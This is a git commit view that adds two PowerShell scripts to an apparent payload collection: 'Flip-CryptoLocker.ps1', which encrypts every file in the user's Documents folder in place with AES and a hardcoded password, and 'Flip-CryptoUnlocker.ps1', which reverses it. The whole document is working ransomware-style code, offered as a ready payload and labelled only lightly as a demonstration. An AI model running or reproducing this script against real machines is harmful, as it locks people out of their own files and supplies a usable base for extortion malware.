Add files via upload
This commit is contained in:
parent
663b339cc8
commit
267cfe3fb3
2 changed files with 74 additions and 0 deletions
37
Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1
Normal file
37
Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1
Normal file
|
@ -0,0 +1,37 @@
|
||||||
|
# Flip-CryptoLocker.ps1
|
||||||
|
|
||||||
|
function Encrypt-File {
|
||||||
|
param (
|
||||||
|
[Parameter(Mandatory=$true)]
|
||||||
|
[string]$Path,
|
||||||
|
|
||||||
|
[Parameter(Mandatory=$true)]
|
||||||
|
[string]$Password
|
||||||
|
)
|
||||||
|
|
||||||
|
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||||
|
$AES.IV = New-Object byte[]($AES.IV.Length)
|
||||||
|
$AES.Key = [System.Text.Encoding]::UTF8.GetBytes($Password.PadRight($AES.Key.Length, '0'))
|
||||||
|
|
||||||
|
$Content = Get-Content -Path $Path -Encoding Byte
|
||||||
|
$EncryptedContent = $AES.CreateEncryptor().TransformFinalBlock($Content, 0, $Content.Length)
|
||||||
|
|
||||||
|
Set-Content -Path $Path -Value $EncryptedContent -Encoding Byte
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fixed password for encryption (this is only for demonstration purposes, in a real scenario, you would want to generate or receive a password securely)
|
||||||
|
$Password = "D3m0P@ssw0rd"
|
||||||
|
|
||||||
|
# Detect the user's documents folder
|
||||||
|
$DocumentsFolder = [Environment]::GetFolderPath("MyDocuments")
|
||||||
|
|
||||||
|
# Get all the files in the documents folder
|
||||||
|
$Files = Get-ChildItem -Path $DocumentsFolder -File
|
||||||
|
|
||||||
|
# Encrypt each file
|
||||||
|
foreach ($File in $Files) {
|
||||||
|
Encrypt-File -Path $File.FullName -Password $Password
|
||||||
|
Write-Host "File encrypted: $($File.Name)"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "All files in the documents folder have been encrypted!"
|
37
Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1
Normal file
37
Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1
Normal file
|
@ -0,0 +1,37 @@
|
||||||
|
# Flip-CryptoUnlocker.ps1
|
||||||
|
|
||||||
|
function Decrypt-File {
|
||||||
|
param (
|
||||||
|
[Parameter(Mandatory=$true)]
|
||||||
|
[string]$Path,
|
||||||
|
|
||||||
|
[Parameter(Mandatory=$true)]
|
||||||
|
[string]$Password
|
||||||
|
)
|
||||||
|
|
||||||
|
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||||
|
$AES.IV = New-Object byte[]($AES.IV.Length)
|
||||||
|
$AES.Key = [System.Text.Encoding]::UTF8.GetBytes($Password.PadRight($AES.Key.Length, '0'))
|
||||||
|
|
||||||
|
$EncryptedContent = Get-Content -Path $Path -Encoding Byte
|
||||||
|
$DecryptedContent = $AES.CreateDecryptor().TransformFinalBlock($EncryptedContent, 0, $EncryptedContent.Length)
|
||||||
|
|
||||||
|
Set-Content -Path $Path -Value $DecryptedContent -Encoding Byte
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fixed password for decryption (it should be the same one used for encryption)
|
||||||
|
$Password = "D3m0P@ssw0rd"
|
||||||
|
|
||||||
|
# Detect the user's documents folder
|
||||||
|
$DocumentsFolder = [Environment]::GetFolderPath("MyDocuments")
|
||||||
|
|
||||||
|
# Get all the files in the documents folder
|
||||||
|
$Files = Get-ChildItem -Path $DocumentsFolder -File
|
||||||
|
|
||||||
|
# Decrypt each file
|
||||||
|
foreach ($File in $Files) {
|
||||||
|
Decrypt-File -Path $File.FullName -Password $Password
|
||||||
|
Write-Host "File decrypted: $($File.Name)"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "All files in the documents folder have been decrypted!"
|
Loading…
Reference in a new issue